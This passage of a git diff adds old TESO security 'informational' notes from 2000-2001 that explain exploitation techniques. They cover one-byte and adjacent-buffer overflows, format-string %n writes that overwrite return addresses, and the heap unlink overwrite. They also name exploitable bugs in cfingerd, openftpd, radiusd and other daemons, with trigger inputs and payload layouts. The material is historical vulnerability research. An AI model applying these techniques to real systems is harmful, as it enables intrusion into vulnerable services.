byte, just write + a small test program to check out. Most programmers are unsure about the + behaviour of the string functions and may introduce exploitable one byte + overflows this way. + + +trick VIII. "adjascent buffers" + + This was known before the article in Phrack 56, but the article offers a + great in-depth discussion about this problem. Basically it works like: + + void func (char *foo) { + char buf[32]; + char buf1[16]; + char buf2[16]; + + buf1[0] = buf2[0] = '\x00'; + strncat (buf2, foo, sizeof (buf2)); + strcpy (buf1, "blablabla"); + + buf[0] = '\x00'; + strcat (buf, buf1); + strcat (buf, buf2); + } + + The programmer assumes that proper bound checking has been done before and + later uses direct strcat's to construct a string in buffer "buf". But the + strcat (buf, buf2) may very well add more then sizeof (buf2) characters, + since buf2 can be non-NUL terminated. This is because of the strncat, as + explained in trick VII. You can overwrite the lower three bytes of the + frame pointer in this example code. + + +If you know some tricks not listed here, please mail them to me +(scut@nb.in-berlin.de). + +=============================================================================== + diff --git a/informationals/teso-i0026.txt b/informationals/teso-i0026.txt new file mode 100644 index 0000000..f2178ac --- /dev/null +++ b/informationals/teso-i0026.txt @@ -0,0 +1,54 @@ +0026 2000/05/30 file existance check through suid binaries + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: file existance check through suid binaries +Date .................: 2000/05/30 22:00 +Author ...............: scut +Publicity level ......: most likely known +Affected .............: some suid binaries +Type of entity .......: program behaviour +Type of discovery ....: useful information +Severity/Importance ..: low +Found by .............: scut + +=============================================================================== + +Some suid binaries take filenames as arguments. Some of them even do something +with the files they take as arguments. And some will even tell you somehow what +happened when they do something. + +This natural behaviour may manifast itself in a small error which could be +security relevant glitch which allows to check for file existance, although +normally your permission would forbid that. + +As an example, here is the behaviour of the latest IRIX 6.5 netstat binary, +which happens to have setgid sys permissions. The directory "/tmp/rootonly" +is only accessible to the root user and users in the sys group, so normal +users don't have permission to access it, but netstat has. +Netstat uses the stat() function to check for file existance. + +hyperion 24% ls -lsa /tmp/rootonly/ +Cannot access directory /tmp/rootonly/: Permission denied +total 0 +hyperion 25% ls -lsa /tmp/rootonly/foobar +Cannot access /tmp/rootonly/foobar: Permission denied +hyperion 26% /usr/etc/netstat 1 /tmp/rootonly/foo +netstat: cannot open /tmp/rootonly/foo: No such file or directory +hyperion 27% /usr/etc/netstat 1 /tmp/rootonly/foobar + input (ec0) output input (Total) output + packets errs packets errs colls packets errs packets errs colls + 14980 0 10661 0 45 15353 0 11034 0 45 +hyperion 28% + +The same can be applied to directories, which can be stat'ed too. There +is a trick to decide whether a found name is a directory or not. +Let's say you discovered that there is something stat'able called "foo". +Just append a "/." to it and check for "foo/.". If it is a file this +won't work, if it is a directory, stat() will happen as if you didn't +appended the string. + +=============================================================================== + diff --git a/informationals/teso-i0027.txt b/informationals/teso-i0027.txt new file mode 100644 index 0000000..6047f11 --- /dev/null +++ b/informationals/teso-i0027.txt @@ -0,0 +1,279 @@ +0027 2000/06/29 format string supply vulnerabilities and exploitation + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: format string supply vulnerabilities and exploitation +Date .................: 2000/06/29 22:00 +Author ...............: scut +Publicity level ......: partly known +Affected .............: programs containing format string vulnerabilities +Type of entity .......: exploitation techniques +Type of discovery ....: useful information +Severity/Importance ..: medium +Found by .............: various people, comments by scut and smiler + +=============================================================================== + +Some programs use the printf format strings in a way that let users supply +either the whole or parts of the format string. This way users may use special +format characters to write to parts of the memory, resulting in a compromise. + +For example, code like this is vulnerable: + +void +func (char *usersupplied) +{ + char buffer[512]; + + snprintf (buffer, sizeof (buffer), usersupplied); + buffer[sizeof (buffer) - 1] = '\x00'; +} + +By using a usersupplied string like "%p" the user may control parts of the +behaviors of the snprintf function. While most of the format control characters +only pop data from the stack and display it, like "%d" pulls an integer value +from the stack and writes the ascii representation of it to the string, the +"%n" parameter does something special. It writes the number of bytes the +snprintf function has written already to the (int *) which lies next on the +stack. + +Sometimes this may not be necessary, as in this example: + +void +func (char *usersupplied) +{ + char buffer[512]; + + if (strlen (usersupplied) > 200) + return; + + sprintf (buffer, usersupplied); +} + +In this case we need to expand our userbuffer from less then 200 bytes to more +then 512 bytes to create an ordinary stack overflow. This can be done using +a variety of format controls. You can use "%400d" to create a 400 byte long +string, then use ordinary data to overwrite the return address. Older GNU +libc libraries contain a bug when the number of characters exceeds 1000. Then, +instead of using something like "%2000d", just use "%-2000d", which pads with +spaces to the right. + +But in cases where a limited printf function, such as snprintf, syslog and +vsnprintf is used, we have to use another method to exploit this. Remember +the "%n" format control, it stores the number of written characters. Ok, +we may overwrite memory with it, but how do we overwrite an arbitrary +address of our choice ? + +To do this, we have to make the stack pointer point to the address we want +to write to. The most favorable situation would be if the stack pointer points +into our format string, so we can store the address there and then use "%n" to +write to it. Most of the times the memory layout looks like: + + +1 3 2 +< data ... > < format string ... > +lower stack addresses higher stack addresses + +Where the stack pointer points to (1). We have to move it so that it points +to the (2) position using control characters, such as "%f", and "%d". On the +x86 architecture an integer takes up four bytes (ILP32 rule), and a %d will +pop four bytes from the stack, increasing the stack pointer by a value of four. +This way we have the stack pointer at (3) now. So we use another bunch of +format parameters to move it upwards until it points to (2). If our format +string is of limited size we should look at efficiency doing so. Lets +consider we use "%d" and we have to move it by 256 bytes upward. Then we have +to use 64 "%d" sequences, which take up 128 bytes. The expansion ratio is +2:4 = 1:2. Two bytes ("%d") result in four bytes being popped. A more efficient +solution is the usage of "%f", which pulls 8 bytes from the stack. But there +is something odd about that, since "%f" is a float, it is evaluated in another +way then "%d", and while doing so it may cause an arithmetic exception because +of a division by zero. Since you cannot control the data that is popped from +the stack, it cannot be used. However, if you use "%.f" instead, an invalid +float number won't cause an exception, but still it pops eight bytes from the +stack, so it's exactly what we need. It is more efficient than the "%d" method, +since three bytes ("%.f") will pop eight, so it's 3:8, and thats greater then +2:4. + +So what to do if by popping you get the stack pointer into the regions of a +buffer you can supply (2), but it's misaligned ? Is there such things as a +one-byte-pop control sequence ? +Fortunately there is no such thing, but you can get rid of that by using a +special alignment in your buffer, and just use "ppp" instead of +"", where 'p' is the padding, which varies from zero to three +characters. After all, you should get the stack pointer pointing exactly to +the first byte of by using the methods above. + +Now, you can store an address to write to in that buffer, so for x86 you'd +want to store it in little endian order. Say we want to store 0xbfff3407, +then the buffer would look like "\x07\x34\xff\xbf". Now, the stack pointer +points to it and the usage of "%n" write the counter of written bytes to +it. Not very helpful, since we cannot control this counter, at least not +fully. + +So what can we control ? We control the address the counter is written to, +and we can modify the counter a bit by using some bogus data, that will +increase it. So here is an example: + + int i; + + printf ("aaaaaaaa%20d%n\n", 3, &i); + printf ("%d\n", i); + +Will create an output like: + +aaaaaaaa 3 +28 + +So we have increased the number of written bytes by 20 with our "%20d". How +much can we increase it ? So high that we can write, say 0xbfff9210 ? +In some GNU libc versions we can increase it beyond the number of allowed +characters, but if it gets too high, the library crashes. So to assume the +worst, say, we just can increase it in very small boundaries, like no more +then 0x100. So we can store small numbers, where the least significant byte +is under our control to a location of our choice. And we can do this more +then once. + +To say it clearer, we can store a byte of our choice to a location of our +choice. More then once, as often as we want. And an address just consists +out of four bytes. + +So what do we do ? + +Say the return address we want to overwrite is located at 0xbfff82e8 + +0xbfff82e8: 0x44 0x20 0x08 0x08 0x7a 0xb0 0xff 0xbf + ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ + return address data behind it (fp) + + +So to overwrite the return address we overwrite four bytes, we start with +the least significant, which is the leftmost in little endian notation. So +say we want to replace the return address with 0xbfff8010, then we have to +make the four bytes + +0xbfff82e8: 0x10 0x80 0xff 0xbf + +To do this we have to start with the leftmost, by storing 0x10 to +0xbfff82e8: + + (a) (b) +"\x01\x02\x03\x04\xe8\x82\xff\xbf%n" + +Where makes the stack pointer point to the first byte (a) of +our buffer. Then we use to increase the counter of written bytes to +a value where the least significant byte is the one we want to store. So +if the counter is 0x000000e0, we increase it by 0x30, and hence use "%48d" +as padding. Now the stack pointer points to (b), where our target address +is stored, and the counter is 0x00000110. Now we use "%n" to store this +counter to the address. After that, the memory will look like: + +0xbfff82e8: 0x10 0x01 0x00 0x00 0x7a 0xb0 0xff 0xbf + +So the leftmost byte is that of our choice, and the counter is 0x0110 now. +The next byte we want to store is 0x80, which is 0x70 higher then 0x10, so +we use "%112d" to increase it by that value, and then use "%n" to store it +to 0xbfff82e9. But we have to reconstruct the format buffer to do this. + + (c) (d) +"\x01\x02\x03\x04\xe8\x82\xff\xbf\x01\x02\x03\x04\xe9\x82\xff\xbf" +"%n%n" + +After the first write the stack pointer points to (c) now, and we use the +pad2 ("%112d") with this dummy value to increase the counter so that the +LSB is 0x80. The stack pointer points to (d) now, and we use "%n" once again +to store the 32 bit counter to the 0xbfff82e9 address. +The stack data looks like this now: + + [-----------------] + [------------------] +0xbfff82e8: 0x10 0x80 0x01 0x00 0x00 0xb0 0xff 0xbf + ^^^^ + +Note that we destroyed the byte behind the return address with our second +write. Now we proceed using the same method for the last two bytes, and the +final memory looks like: + +1rst write [-----------------] +2nd [------------------] +3rd [------------------] +4th [------------------] +0xbfff82e8: 0x10 0x80 0xff 0xbf 0x02 0x00 0x00 0xbf + +We've replaced the return address with the one of our choice now, using four +times the "%n" format parameter. + + +PROBLEMS YOU MAY RUN INTO + +[1. figuring the distance] + +The first problem is to know many bytes the stack pointer is away from your +buffer. This can be found out easily, if you can see the buffer output. To +do this, you create a buffer like this: + +"iiiioooo|%08x|%08x|" + +The stackpop-fixed consists out of the minimum distance you assume, so it +is just a few dozen times "%.f". The vary-buffer is increased each try from +"" to as much "%.f"'s as you need. Then two "%08x"'s are used to inspect the +content where the stack pointer points to. So if you see your "iiiioooo" +as "|69696969|6f6f6f6f|" or "|..696969|69", "|....6969|6969" or +"......69|696969", then you can recalculate both the buffer distance to the +stack pointer and the alignment necessary. + + +[2. buffer address] + +One problem may be that you need to know the exact addresses of your buffer +and of the return address location. This can be solved using two tricks. +First the distance between this addresses may not vary that much, so if +you know one address you can most likely make an educated guess about the +other one. But how do we know the first one ? + +First you need to decide what kind of buffer address you want to brute force, +the format buffer or the target buffer. Because there is not always a simple +target buffer, such as if you use fprintf, we try with the source buffer here. + +The main idea is that we inspect the memory using a pointer we supply. Since +we already know the distance, we use a buffer like this: + +"|____________________|x|%.20s!" + +It works like this: We first pop the stack pointer using the code, +so that we advance the it by the distance we figured using the [1.] trick. +Then we write a 20 byte long string containing '_' characters, followed by a +mark "|x|". Now we use "%.20s" to get no more then 20 bytes of data from the +address . So we can inspect 20 Bytes of memory at a time if we +can see the output. If we get output such as this, + + [------ n bytes ----](1) (2) +"...crap...|____________________|x|___________|x|... crap ..." + +we can recalculate the exact buffer location, because we knew the p-address +pointed to the (1) address in the format string. So by using this formula: + +buffer_address = p-address + ((2) - (1)) - n. + +To distinguish the source from the destination buffer we use a trick, we store +a "%%" within the source buffer, which gets evaluated to just "%" in the +target. + + +[3. getting the return address location] + +This may be extrapolated from the buffer address, but there is another nice +method to get it. Remember the "%s" we used to inspect memory ? Why not +inspect the target memory where the return address may lie too ? So use +something like: + +"|%.4s|" + +And brute the p-address around where you suspect the return address lies. +So if you know normally there is an address like 0x0804.... stored there, +just brute until you find it. This way you avoid segfaults. + + +=============================================================================== + diff --git a/informationals/teso-i0028.txt b/informationals/teso-i0028.txt new file mode 100644 index 0000000..b012b7d --- /dev/null +++ b/informationals/teso-i0028.txt @@ -0,0 +1,90 @@ +0028 2000/09/17 new format string problems (ntalkd, radiusd, innd, samba) + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: new format string problems (ntalkd, radiusd, innd, + samba) +Date .................: 2000/09/17 12:00 +Author ...............: scut +Publicity level ......: partly known +Affected .............: programs containing format string vulnerabilities +Type of entity .......: exploitable format string vulnerabilities +Type of discovery ....: useful information +Severity/Importance ..: high +Found by .............: various people, scut (using typo's elite tesogcc) + +=============================================================================== + +--[ linux-ftpd source in netstd package of Debian 2.2 potato + +ftpd.c, /setproctitle + +While this problem is within the source of any Linux distribution, it only +manifests in Debian because the define that has to be matched +(HAVE_SETPROCTITLE) is only triggered on Debian. It is exploitable for +anonymous/ftp logins where the supplied password (which should be the email +address) is used as part of the format string in the setproctitle call. Though +this problem was discussed on Bugtraq in Juli 2000, there is still no public +exploit for this problem. Interestingly the same problem is within the Irix +ftpd source, though it is not activated, because again the define is missing. +A similar problem was also found in earlier proftpd sources. + + +--[ linux-ntalkd source in netstd package of Debian 2.2 potato + +netkit-ntalk-0.10/talkd/announce.c, /fprintf format string + +If some use wants to talk to another user using talk an announce message is +send to the recipient, notifying of the request. This announce message is +partly build from user input (from the person requesting the talk), and then +fed into a fprintf, resulting in a format string vulnerability. This issue +has been known in the scene I've been told by another person, though there +is no exploit for it yet, since character filtering and size issues make +exploitation tricky. + + +--[ lucent/livingston radius daemon 2.1 (radius21.tar.Z) + +src/log.c, /syslog(priority, buffer) + +This bug shows how careless programming can turn in your worst nightmare. +The log function itself contains a formating bug: The format string is +properly printed into a stack buffer, and then this buffer is used as the +format string to syslog, *ouch*. So every log function that has even parts +of the input supplied by the user (there are plenty) can be used to exploit +this hole. This buggy code only manifests if VSYSLOG is defined, this has +to be checked, when it is the case (which is another bug also, it should +activate if VSYSLOG is not defined). There may be some better ways to +exploit it, I've checked for some minutes, one method would be to try +to authenticate with a username containing a space, but then only 64 bytes +of format string are available to the attacker. If the users are allowed to +change their password (in general), then you have 253 of format string if +you try to change the password for a user that doesn't exist +(radiusd.c, /not found). + + +--[ innd - internet news daemon 2.3.0 + +innfeed/misc.c, /^void logOrPrint + +Like in the radius daemon there is a bug in the logging routine also. The +format is properly printed into a 512 byte long buffer and then this buffer +is carelessly printed as format string using syslog. Haven't checked for +exploitability. + + +--[ samba 2.0.7 + +utils/smbpasswd.c:241: warning: TESO: Insufficient Format arguments: fprintf(2/3). +utils/smbpasswd.c:249: warning: TESO: Insufficient Format arguments: printf(1/2). +utils/smbpasswd.c:251: warning: TESO: Insufficient Format arguments: fprintf(2/3). + +Using smbpasswd and creating an error message you can stuff user supplied +things into parts of the format strings passed to fprintf/printf. What +can be gained using this has to be checked. + + +=============================================================================== + diff --git a/informationals/teso-i0029.txt b/informationals/teso-i0029.txt new file mode 100644 index 0000000..045405a --- /dev/null +++ b/informationals/teso-i0029.txt @@ -0,0 +1,86 @@ +0029 2000/10/05 format string: poping the stack faster than with %f + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: format string: poping the stack faster than with %f +Date .................: 2000/10/05 22:00 +Author ...............: lorian +Publicity level ......: saw noone using this feature +Affected .............: programs containing format string vulnerabilities +Type of entity .......: (un)documented features of format strings +Type of discovery ....: useful information +Severity/Importance ..: medium +Found by .............: me? hey cant believe that noone did it so far ;) + +=============================================================================== + +I just discovered a nice thing: + +if you deal with format string problems you have often very small buffers +to put the string into but a huge stack above. So question is: how do i +pop up the stack fast with a small format string. I know that some guys +use %f or %.f because that pops 8 byte at once. + +But using a %f is not always possible, because a lot of programs come +with their own implementation of snprintf. And normaly those versions +are all without %f cause displaying a floating point number is not so +easy. (Okay most of those lack %n, too but you can still inspect memory +without %f %n). + +So what is it what i found? +Kinda simple its the * char inside format strings. It means "read the +width from the next stack argument". +So "%*d" pops for example 2 bytes. This is fine and works for all +(g)libc implementations. If you think twice this is not really good +because you dont really know how big the output is (width from unknown +stack argument) That means you cannot really use it except you know +exactly what goes on on the stack. + +But hey keep cool here are some things that makes it usable for +your format string attacks. Unfourtunately we must say good bye +to glibc Os (linux) at this point cause glibc does not have the +features that come now. + +1) Are we in space? Alot of stars attacking me! + +lets try it: printf("%***d\n", 1, 2, 3, 4); +output: 4 +Hey cool! Isnt it? Multiple stars are accepted! Means with ONE +single char you can pop up the stack 4 bytes. +Here are some OS that supports it: + +OpenBSD +FreeBSD +NetBSD +HP-UX B.11.00 U 9000/800 +SunOS 5.7 +Solaris 2.8 + +Keep in mind: +NOT LINUX due to glibc + + +2) Hey! You fooled me, that does not kill the above described +problem with a unknown width argument from stack. + +Cool down! The solution is simple: + +%****************1d + +this pops 17*4 bytes but only gives out a string of width 1 + +The combinations are endlessly ;) Damn GLIBC ;) I think i must read glibc source. +Btw nice glibc detection if you can see the output of the format string is: +%1*1d this stays unchanged under GLIBC. No format string interpretion. +Remember for BSD this only mean: POP 8 bytes and display 1 char. + + + +Hehe Scut I see this giving you a nice... + +*** THE END *** + +=============================================================================== + diff --git a/informationals/teso-i0030.txt b/informationals/teso-i0030.txt new file mode 100644 index 0000000..2b9593e --- /dev/null +++ b/informationals/teso-i0030.txt @@ -0,0 +1,53 @@ +0030 2000/10/14 exploitable format string problem in cfingerd <= 1.4.2 + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: exploitable format string problem in cfingerd <= 1.4.2 +Date .................: 2000/10/14 12:00 +Author ...............: scut +Publicity level ......: unknown +Affected .............: cfingerd (The Configureable Finger Daemon) <= 1.4.2 +Type of entity .......: exploitable format string vulnerability +Type of discovery ....: vulnerabilitiy +Severity/Importance ..: high +Found by .............: scut + +=============================================================================== + +The Configureable Finger Daemon claims from itself to be quite secure, however +it suffered from several buffer overflows in the past, and this time it suffers +from a format string vulnerability when calling syslog, as in: + +snprintf(syslog_str, sizeof(syslog_str), "%s fingered (internal) from %s", + username, ident_user); +syslog(LOG_NOTICE, (char *) syslog_str); + +And some other times in the code. Although it looks like it is trivial to +exploit, this may not be as easy as it looks. We can supply both the username +and the ident_user buffers, though the ident_user buffer is limited to 60 +arbitrary bytes. The username buffer has to survive very restrictive whitelist +filtering, hence it is not suitable to store the shellcode in it. And 60 bytes +is not enough usually to store the stackpop+addresses+write+shellcode (using +"%.f" or the like to move esp) or the write+addresses+shellcode (using %..$n) +in it, so we have to find another way to inject the data into the memory. + +Here is how we do it: +sscanf(username, "%[^\r\n]\r\n", username); + +This line allows us to store an additional 70 arbitrary bytes, if we make +username look like this: legit\rourdata, where legit is a normal finger query, +and ourdata is arbitrary stuff. The \r char will be overwritten by a NUL byte +and hence the following restrictive filtering only affects the legit content. + +This is how we exploit it on Linux (debian 2.1/2.2), on *BSD (and bsd libc +based systems) we run into problems with the %..$n trick, because they deny +large values. I currently know of no way to exploit this on BSD. + +An exploit is available as 7350cfingerd, with default offsets for some +distributions. Cfingerd is not enabled on most distributions by default, +however. + +=============================================================================== + diff --git a/informationals/teso-i0031.txt b/informationals/teso-i0031.txt new file mode 100644 index 0000000..84418ba --- /dev/null +++ b/informationals/teso-i0031.txt @@ -0,0 +1,68 @@ +0031 2000/12/20 exploitable one-byte overflow in openftpd 1.0 beta28 + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: exploitable one-byte overflow in openftpd 1.0 beta28 +Date .................: 2000/12/20 23:00 +Author ...............: scut +Publicity level ......: unknown before, told to openftpd authors +Affected .............: openftpd 1.0 beta28 and below +Type of entity .......: exploitable buffer overflow +Type of discovery ....: vulnerabilitiy +Severity/Importance ..: high +Found by .............: scut + +=============================================================================== + +The OpenFTPd project develops a FTP daemon optimized for warez and mp3 sites, +with extensive script and maintenance support, far over the FTP RFC standards. +It introduces a command 'SITE INFO' to let each user set his own 'infoline', +a describing line, which may not be longer then 50 chars. Often it is used to +set affiliations to certain warez groups or short mottos or slogans. + +However, this 'SITE INFO' is flawed: + +int cmd_site_info(char** p, int n) +{ + char str[128]; + char infoline[50]; + int i; + + if (!n) printf("UIN %s\n", usr.name); + else { + snprintf(str, sizeof(str), "%s ", p[0]); + for(i = 1; i < n; i++) { + strncat(str, p[i], sizeof(str) - strlen(str)); + strncat(str, " ", sizeof(str) - strlen(str)); + } + str[strlen(str) - 1] = '\0'; + printf("UIN %s %s\n", usr.name, str); + } + if (!fgets(str, sizeof(str), stdin)) + strncpy(str, "-!Bpipe error!0", sizeof(str) - 1); + return send_reply(*str == '+' ? 200 : 550, str+1); +} + +The two strncat's store a NUL byte right behind the str buffer, if the content +of str is already long enough. On x86 platforms the least significant byte of +the framepointer is overwritten and the stack frame of the calling function +slides down. This is very much similar to the exploitable one-byte overflow +in the OpenBSD ftpd recently discovered. Here a reasonable target to store the +real retaddr in is the buffer str[256] in the calling function, which may be +easily written into by issuing something like: + +AAAAAAAAAAAAAAAAAAAA\n +SITE INFO a aaaaaaaa\n + +A substantial portion of the str[256] buffer contains 'A' characters and you +may have luck that your stored retaddr is at the right place. The ftpd is +respawning, since only a child process segfaults on wrong attempts, so you +have enough space and time to try all possible combinations (~ 1000 * 4 * 64 += 256,000). + +The authors have been notified, let's see whether it gets fixed. + +=============================================================================== + diff --git a/informationals/teso-i0032.txt b/informationals/teso-i0032.txt new file mode 100644 index 0000000..f238441 --- /dev/null +++ b/informationals/teso-i0032.txt @@ -0,0 +1,350 @@ +0032 2001/02/03 explanations of malloc() overwrite technique + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: Explanations of malloc() overwrite technique +Date .................: 2001/02/03 23:00 +Author ...............: scut +Publicity level ......: known +Affected .............: heap overflows in malloc'ed memory, special libc's +Type of entity .......: exploitation technique +Type of discovery ....: exploitation technique +Severity/Importance ..: medium +Found by .............: Solar Designer + +=============================================================================== + +Originally discovered by Solar Designer, this techniques allows arbitrary +memory overwrites if you can overflow a malloc'ed buffer. + +On a common buffer overflow within the stack space, there are interesting +variables after the overflowing buffer. Often this includes pointers, return +addresses, function parameters, etc. + +In heap space there is far less interesting data that can be overwritten. But +buffer overflows do occur in malloc'ed or static buffers, too. For static +buffers, there are some techniques, namely to overwrite function pointers, +jmp_buf'ers, or GCC created DTORS tables. + +For malloced space the situation was way more complicated, since the heap +space used by malloc is dynamically ordered, giving away chunks of memory to +the program if it requests them. Beside the order also the addresses and the +content of the memory can vary a lot depending on the programs usage, system +load or the moonlight. Well, nearly. + +However, it is desireable to find a more reliable way to exploit buffer +overflows occuring within malloc'ed areas. This may have been the intention +of our hero, Solar Designer, who thought upon this neat technique. + +Here it is, but first some technical background. + +The malloc(3) function is used to request memory from a dynamically growing +memory area, called 'the heap'. Using the sbrk(2) system call a program can +modify the border of this area. If the program needs a lot of memory in +pieces and dynamically this can result in a lot of work to sort, use, reuse +this memory areas efficiently. So this basic functionality of memory +management is implemented in a efficient way within the standard C library. +The internals are not interesting to the programmer, since he only uses +malloc(3) to request memory of a certain size, and free(3) to release the +memory after it is not in use anymore. + +But for taking advantage of a buffer overflow within a buffer that was created +using malloc(3) we have to look at the details of the memory management +system. In this case we use the all so popular GNU C Library. + +The C library keeps the information about the memory slices the application +requests in so called 'chunks'. They look like this (adapted from malloc.c): + + +----------------------------------+ + chunk -> | prev_size | + +----------------------------------+ + | size | + +----------------------------------+ + mem -> | data | + : ... : + +----------------------------------+ +nextchunk -> | prev_size ... | + : : + +Where mem is the pointer you get as return value from malloc(). So if you do +a: + unsigned char * mem = malloc (16); + +Then 'mem' is equal to the pointer in the figure, and (mem - 8) would be +equal to the 'chunk' pointer. + +The 'prev_size' element has a special function: If the chunk before the +current one is unused (it was free'd), it contains the length of the chunk +before. If the chunk before the current one is used, the 'prev_size' value is +zero. +The 'size' field has a special meaning. As you would expect it contains the +length of the current block of memory, the data section. As you call malloc(), +it is set and is always padded up to the next double-word boundary. So a +malloc(7) will become a malloc(8), and a malloc(20) will become malloc(24). +For malloc(0) it will be padded to malloc(8), the reason we will see later in +this text. + +Since this padding implies that the lower three bits are always zero and have +no meaning to the real length, they are used otherwise, to indicate special +attributes of this chunk. The lowest bit, called PREV_INUSE, indicates whether +the previous chunk is used or not. It is set if it is used. The second least +significant bit is set if the memory area is mmap'ed, a special case which we +will not consider. The third least significant bit is unused. + +To test whether the current chunk is in use or not, we have to check the next +chunks PREV_INUSE bit within its size value. + +Once we free() the chunk, using free(mem), some checks take place and the +memory is released. If its neighbour blocks are free, too (checked using the +PREV_INUSE flag), then they are merged, to keep the number of reuseable +blocks low, but their sizes as large as possible. If a merge is not possible, +the next chunk is tagged with a cleared PREV_INUSE bit, and the chunk changes +a bit: + + +----------------------------------+ + chunk -> | prev_size | + +----------------------------------+ + | size | + +----------------------------------+ + mem -> | fd | + +----------------------------------+ + | bk | + +----------------------------------+ + | (old memory, can be zero bytes) | + : : + +nextchunk -> | prev_size ... | + : : + +As you can see, where our data was previously stored at the 'mem' pointer +returned by malloc, there are two new values, called 'fd' and 'bk', +forward and backward namely. They are pointers and point into a double +linked list of unconsolidated blocks of free memory. Everytime a new free +is issued now this list is checked, and possible unconsolidated blocks +are merged, or the whole memory is defragmented to release memory. +Since the malloc size we give to it is at least 8 bytes all the time, there +is always enough space for both pointers. If there is remaining old memory +behind the 'bk' pointer it remains unused until this memory is malloc'ed +again. + +The interesting essence of this whole stuff is that the memory management +information itself is stored beside the data, a clear channeling problem +(just as with format string commands within the string itself, as control +channels in breakable phonelines, as return addresses within stack memory, +etc). + +Since we can overwrite this management information if we can overwrite a +malloced area, we should take a look at how it is processed later on. As +every malloc'ed area is free()'d again in any sane program, we take a look +at free, which is a wrapper to chunk_free() within malloc.c (simplified a +bit to take out #ifdef's): + +static void +chunk_free(arena *ar_ptr, mchunkptr p) +{ + size_t hd = p->size; /* its head field */ + size_t sz; /* its size */ + int idx; /* its bin index */ + mchunkptr next; /* next contiguous chunk */ + size_t nextsz; /* its size */ + size_t prevsz; /* size of previous contiguous chunk */ + mchunkptr bck; /* misc temp for linking */ + mchunkptr fwd; /* misc temp for linking */ + int islr; /* track whether merging with last_remainder */ + + check_inuse_chunk(ar_ptr, p); + + sz = hd & ~PREV_INUSE; + next = chunk_at_offset(p, sz); + nextsz = chunksize(next); + +Since the malloc management keeps chunks within special structures called +'arenas', it is now tested whether the current chunk that should be free +directly borders to the 'top' chunk, a special chunk. The 'top' chunk is +always the top-most available memory chunk within an arena, it is bordering +the end of available memory. The whole if block is not interesting to the +typical buffer overflow within malloc space. + + if (next == top(ar_ptr)) /* merge with top */ + { + sz += nextsz; + + if (!(hd & PREV_INUSE)) /* consolidate backward */ + { + prevsz = p->prev_size; + p = chunk_at_offset(p, -(long)prevsz); + sz += prevsz; + unlink(p, bck, fwd); + } + + set_head(p, sz | PREV_INUSE); + top(ar_ptr) = p; + + if ((unsigned long)(sz) >= (unsigned long)trim_threshold) + main_trim(top_pad); + return; + } + +Now the 'size' of the current chunk is tested whether the previous chunk is +unused (testing for the PREV_INUSE flag), and if it is the case both chunks +are merged. + + islr = 0; + + if (!(hd & PREV_INUSE)) /* consolidate backward */ + { + prevsz = p->prev_size; + p = chunk_at_offset(p, -(long)prevsz); + sz += prevsz; + + if (p->fd == last_remainder(ar_ptr)) /* keep as last_remainder */ + islr = 1; + else + unlink(p, bck, fwd); + } + +Now the same is done into the other direction, it is checked whether the +chunk in front of the current chunk is free (testing for the PREV_INUSE +flag of the size two chunks ahead). If it is the case the chunk is merged +into the current one. + + if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */ + { + sz += nextsz; + + if (!islr && next->fd == last_remainder(ar_ptr)) + /* re-insert last_remainder */ + { + islr = 1; + link_last_remainder(ar_ptr, p); + } + else + unlink(next, bck, fwd); + + next = chunk_at_offset(p, sz); + } + else + set_head(next, nextsz); /* clear inuse bit */ + + set_head(p, sz | PREV_INUSE); + next->prev_size = sz; + if (!islr) + frontlink(ar_ptr, p, sz, idx, bck, fwd); +} + +As Solar Designer showed us, it is possible to use the 'unlink' macro to +overwrite arbitrary memory locations. Here is how: + +A usual buffer overflow situation might look like: + + mem = malloc (24); + gets (mem); + ... + free (mem); + +This way the malloc'ed chunk looks like this: + +[ prev_size ] [ size P] [ 24 bytes ... ] (next chunk) + [ prev_size ] [ size P] [ fd ] [ bk ] + or [ data ... ] + +As you can see, the next chunk directly borders to our chunk we overflow. We +can overwrite anything behind the data region of our chunk, including the +header of the following chunk. + +If we take a closer look at the end of the chunk_free function, we see this +code: + + if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */ + { + sz += nextsz; + + if (!islr && next->fd == last_remainder(ar_ptr)) + /* re-insert last_remainder */ + { + islr = 1; + link_last_remainder(ar_ptr, p); + } + else + unlink(next, bck, fwd); + + next = chunk_at_offset(p, sz); + } + +The inuse_bit_at_offset, is defined as macro in the beginning of malloc.c: + +#define inuse_bit_at_offset(p, s)\ + (((mchunkptr)(((char*)(p)) + (s)))->size & PREV_INUSE) + +Since we control the header of the 'next' chunk we can trigger the whole if +block at will. The inner if statement is uninteresting, except our chunk is +bordering to the top-most chunk. So if we choose to trigger the outer if +statement, we will call unlink, which is defined as macro, too: + +#define unlink(P, BK, FD) \ +{ \ + BK = P->bk; \ + FD = P->fd; \ + FD->bk = BK; \ + BK->fd = FD; \ +} + +The unlink is called with a pointer to a free chunk and two temporary pointer +variables, called bck and fwd. It does this to the 'next' chunk header: + +*(next->fd + 12) = next->bk +*(next->bk + 8) = next->fd + +They are not swapped, but the 'fd' and 'bk' pointers point to other chunks. +This two chunks being pointed to are linked, zapping the current chunk from +the table. + +So to exploit a malloc based buffer overflow we have to write a bogus header +in the following chunk and then wait for our chunk getting free'd. + + [buffer .... ] | [ prev_size ] [ size ] [ fd ] [ bk ] + +'|' is the chunk boundary. + +The values we set for 'prev_size' and 'size' do not matter, but two conditions +have to be met, in case it should work: + + a) the two least significant bits of 'size' have to be zero + b) both, 'prev_size' and 'size' should be add-safe to a pointer that is + read from. So either use very small values up to a few thousand, or - + to avoid NUL bytes - use big values such as 0xfffffffc. + +'fd' and 'bk' can be set this way (as used in Solar Designers Netscape +Exploit): + + fd = retloc - 12 + bk = retaddr + +But beware, that (retaddr + 8) is being written to and the content there is +destroyed. You can circumvent this by a simple '\xeb\x0c' at retaddr, +which will jump twelve bytes ahead, over the destroyed content. Or you are +an evil nerd and directly do shellcode which immediatly loads a 